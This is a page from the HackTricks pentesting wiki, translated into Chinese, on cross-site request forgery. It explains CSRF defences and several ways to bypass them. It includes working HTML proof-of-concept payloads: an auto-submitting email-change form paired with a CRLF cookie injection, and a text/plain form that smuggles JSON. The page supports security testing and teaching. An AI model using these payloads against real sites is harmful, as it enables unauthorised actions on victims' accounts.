hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • 解释跨站请求伪造(CSRF)
  • CSRF攻击的先决条件
  • 快速检查
  • 防御CSRF攻击
  • 防御绕过
  • 从POST到GET
  • 缺少令牌
  • CSRF令牌未绑定到用户会话
  • 方法绕过
  • 自定义标头令牌绕过
  • 通过Cookie验证CSRF令牌
  • Content-Type 更改
  • 绕过预检请求以获取JSON数据
  • 绕过引用者/来源检查
  • HEAD方法绕过
  • 利用示例
  • 窃取CSRF令牌
  • 使用HTML标签进行GET
  • 表单 GET 请求
  • 表单POST请求
  • 通过iframe进行表单POST请求
  • Ajax POST 请求
  • multipart/form-data POST 请求
  • multipart/form-data POST 请求 v2
  • 从iframe内部发起表单POST请求
  • 窃取 CSRF 令牌并发送 POST 请求
  • 窃取 CSRF 令牌并使用 iframe、表单和 Ajax 发送 Post 请求
  • 窃取 CSRF 令牌并使用 iframe 和表单发送 POST 请求
  • 窃取令牌并使用2个iframe发送
  • 使用Ajax窃取CSRF令牌并使用表单发送POST请求
  • 使用 Socket.IO 进行 CSRF
  • CSRF登录暴力破解
  • 工具
  • 参考资料
  1. Pentesting Web

CSRF (Cross Site Request Forgery)

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解释跨站请求伪造(CSRF)

**跨站请求伪造(CSRF)**是一种在Web应用程序中发现的安全漏洞类型。它使攻击者能够利用受害者的已验证会话,代表毫不知情的用户执行操作。当已登录受害者平台的用户访问恶意站点时,攻击就会执行。该站点随后通过执行JavaScript、提交表单或获取图像等方法触发对受害者帐户的请求。

CSRF攻击的先决条件

要利用CSRF漏洞,必须满足几个条件:

  1. 识别有价值的操作:攻击者需要找到值得利用的操作,例如更改用户的密码、电子邮件或提升权限。

  2. 会话管理:用户的会话应仅通过Cookie或HTTP基本身份验证标头管理,因为其他标头无法用于此目的进行操作。

  3. 无法预测的参数:请求不应包含无法预测的参数,因为这些参数可能会阻止攻击。

快速检查

您可以在Burp中捕获请求并检查CSRF保护,并且可以单击复制为fetch以从浏览器中进行测试请求:

防御CSRF攻击

可以实施多种对策来防范CSRF攻击:

  • 用户验证:提示用户输入密码或解决验证码可以确认用户的意图。

  • 检查引用者或来源标头:验证这些标头可以帮助确保请求来自受信任的来源。但是,精心构造的URL可能会绕过实施不良的检查,例如:

    • 使用http://mal.net?orig=http://example.com(URL以受信任的URL结尾)

    • 使用http://example.com.mal.net(URL以受信任的URL开头)

  • 修改参数名称:更改POST或GET请求中的参数名称可以帮助防止自动化攻击。

  • CSRF令牌:在每个会话中加入唯一的CSRF令牌,并要求在后续请求中使用此令牌,可以显著减轻CSRF的风险。通过强制执行CORS可以增强令牌的有效性。

理解并实施这些防御措施对于维护Web应用程序的安全性和完整性至关重要。

防御绕过

从POST到GET

也许您想要滥用的表单准备发送带有CSRF令牌的POST请求,但是,您应该检查是否GET也是有效的,以及当您发送GET请求时CSRF令牌是否仍在验证。

缺少令牌

应用程序可能会实施一种机制,在出现令牌时验证令牌。但是,如果在令牌缺失时完全跳过验证,则会出现漏洞。攻击者可以通过删除携带令牌的参数(而不仅仅是其值)来利用这一点。这使他们可以规避验证过程并有效地执行跨站请求伪造(CSRF)攻击。

CSRF令牌未绑定到用户会话

未将CSRF令牌绑定到用户会话的应用程序存在重大安全风险。这些系统会对全局池中的令牌进行验证,而不是确保每个令牌都绑定到发起会话。

以下是攻击者如何利用这一点的方法:

  1. 使用自己的帐户进行身份验证。

  2. 从全局池中获取有效的CSRF令牌。

  3. 使用此令牌对受害者进行CSRF攻击。

此漏洞允许攻击者代表受害者进行未经授权的请求,利用应用程序的不足的令牌验证机制。

方法绕过

如果请求使用了“奇怪”的方法,请检查方法****覆盖功能是否有效。例如,如果使用PUT方法,您可以尝试使用POST方法并发送:https://example.com/my/dear/api/val/num?_method=PUT

这也可以通过在POST请求中发送**_method参数或使用以下标头**来实现:

  • X-HTTP-Method

  • X-HTTP-Method-Override

  • X-Method-Override

自定义标头令牌绕过

如果请求在请求中添加了一个带有令牌的自定义标头作为CSRF保护方法,那么:

  • 在没有自定义令牌和标头的情况下测试请求。

  • 使用完全相同长度但不同令牌测试请求。

通过Cookie验证CSRF令牌

应用程序可能通过在Cookie和请求参数中复制令牌或通过设置CSRF Cookie并验证后端发送的令牌来实现CSRF保护。应用程序通过检查请求参数中的令牌是否与Cookie中的值对齐来验证请求。

但是,如果网站存在漏洞,允许攻击者在受害者的浏览器中设置CSRF Cookie,例如CRLF漏洞,那么此方法容易受到CSRF攻击。攻击者可以通过加载设置Cookie的欺骗性图像,然后发起CSRF攻击来利用这一点。

以下是攻击可能构建的示例:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

请注意,如果 csrf token 与会话 cookie 相关联,则此攻击将无效,因为您将需要向受害者设置您的会话,因此您将攻击自己。

Content-Type 更改

  • application/x-www-form-urlencoded

  • multipart/form-data

  • text/plain

但是,请注意,服务器逻辑可能会有所不同取决于使用的 Content-Type,因此您应该尝试提到的值和其他值,如 application/json,text/xml,application/xml。

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

绕过预检请求以获取JSON数据

在尝试通过POST请求发送JSON数据时,在HTML表单中使用 Content-Type: application/json 是不直接可能的。同样,利用 XMLHttpRequest 发送此内容类型会启动一个预检请求。尽管如此,仍然有策略可以潜在地绕过这种限制,并检查服务器是否处理JSON数据,而不考虑Content-Type:

  1. 使用替代内容类型:通过在表单中设置 enctype="text/plain",使用 Content-Type: text/plain 或 Content-Type: application/x-www-form-urlencoded。这种方法测试后端是否使用数据,而不考虑Content-Type。

